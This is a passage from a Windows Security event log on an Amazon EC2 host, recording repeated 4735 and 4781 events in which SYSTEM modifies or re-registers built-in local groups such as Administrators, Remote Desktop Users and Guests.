	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\RDS Remote Access Servers
	Group Name:		RDS Remote Access Servers
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245129
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Certificate Service DCOM Access
	Group Name:		Certificate Service DCOM Access
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Certificate Service DCOM Access
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245128
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Certificate Service DCOM Access
	Account Domain:		Builtin
	Old Account Name:	Certificate Service DCOM Access
	New Account Name:	Certificate Service DCOM Access

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245127
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Certificate Service DCOM Access
	Group Name:		Certificate Service DCOM Access
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245126
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Event Log Readers
	Group Name:		Event Log Readers
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Event Log Readers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245125
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Event Log Readers
	Account Domain:		Builtin
	Old Account Name:	Event Log Readers
	New Account Name:	Event Log Readers

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245124
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Event Log Readers
	Group Name:		Event Log Readers
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245123
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Cryptographic Operators
	Group Name:		Cryptographic Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Cryptographic Operators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245122
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Cryptographic Operators
	Account Domain:		Builtin
	Old Account Name:	Cryptographic Operators
	New Account Name:	Cryptographic Operators

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245121
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Cryptographic Operators
	Group Name:		Cryptographic Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245120
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\IIS_IUSRS
	Group Name:		IIS_IUSRS
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	IIS_IUSRS
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245119
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\IIS_IUSRS
	Account Domain:		Builtin
	Old Account Name:	IIS_IUSRS
	New Account Name:	IIS_IUSRS

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245118
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\IIS_IUSRS
	Group Name:		IIS_IUSRS
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245117
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Distributed COM Users
	Group Name:		Distributed COM Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Distributed COM Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245116
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Distributed COM Users
	Account Domain:		Builtin
	Old Account Name:	Distributed COM Users
	New Account Name:	Distributed COM Users

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245115
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Distributed COM Users
	Group Name:		Distributed COM Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245114
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Performance Log Users
	Group Name:		Performance Log Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Performance Log Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245113
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Performance Log Users
	Account Domain:		Builtin
	Old Account Name:	Performance Log Users
	New Account Name:	Performance Log Users

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245112
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Performance Log Users
	Group Name:		Performance Log Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245111
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Performance Monitor Users
	Group Name:		Performance Monitor Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Performance Monitor Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245110
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Performance Monitor Users
	Account Domain:		Builtin
	Old Account Name:	Performance Monitor Users
	New Account Name:	Performance Monitor Users

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245109
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Performance Monitor Users
	Group Name:		Performance Monitor Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245108
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		NONE_MAPPED
	Group Name:		Power Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Power Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245107
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		NONE_MAPPED
	Account Domain:		Builtin
	Old Account Name:	Power Users
	New Account Name:	Power Users

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245106
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		NONE_MAPPED
	Group Name:		Power Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245105
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Network Configuration Operators
	Group Name:		Network Configuration Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Network Configuration Operators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245104
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Network Configuration Operators
	Account Domain:		Builtin
	Old Account Name:	Network Configuration Operators
	New Account Name:	Network Configuration Operators

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245103
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Network Configuration Operators
	Group Name:		Network Configuration Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245102
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Remote Desktop Users
	Group Name:		Remote Desktop Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Remote Desktop Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245101
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Remote Desktop Users
	Account Domain:		Builtin
	Old Account Name:	Remote Desktop Users
	New Account Name:	Remote Desktop Users

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245100
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Remote Desktop Users
	Group Name:		Remote Desktop Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245099
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Replicator
	Group Name:		Replicator
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Replicator
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245098
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Replicator
	Account Domain:		Builtin
	Old Account Name:	Replicator
	New Account Name:	Replicator

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245097
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Replicator
	Group Name:		Replicator
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245096
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Backup Operators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245095
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Backup Operators
	Account Domain:		Builtin
	Old Account Name:	Backup Operators
	New Account Name:	Backup Operators

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245094
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245093
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Guests
	Group Name:		Guests
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Guests
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245092
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Guests
	Account Domain:		Builtin
	Old Account Name:	Guests
	New Account Name:	Guests

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245091
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Guests
	Group Name:		Guests
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245090
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Users
	Group Name:		Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245089
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Users
	Account Domain:		Builtin
	Old Account Name:	Users
	New Account Name:	Users

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245088
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Users
	Group Name:		Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245087
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Administrators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245086
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Administrators
	Account Domain:		Builtin
	Old Account Name:	Administrators
	New Account Name:	Administrators

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245085
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245084
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
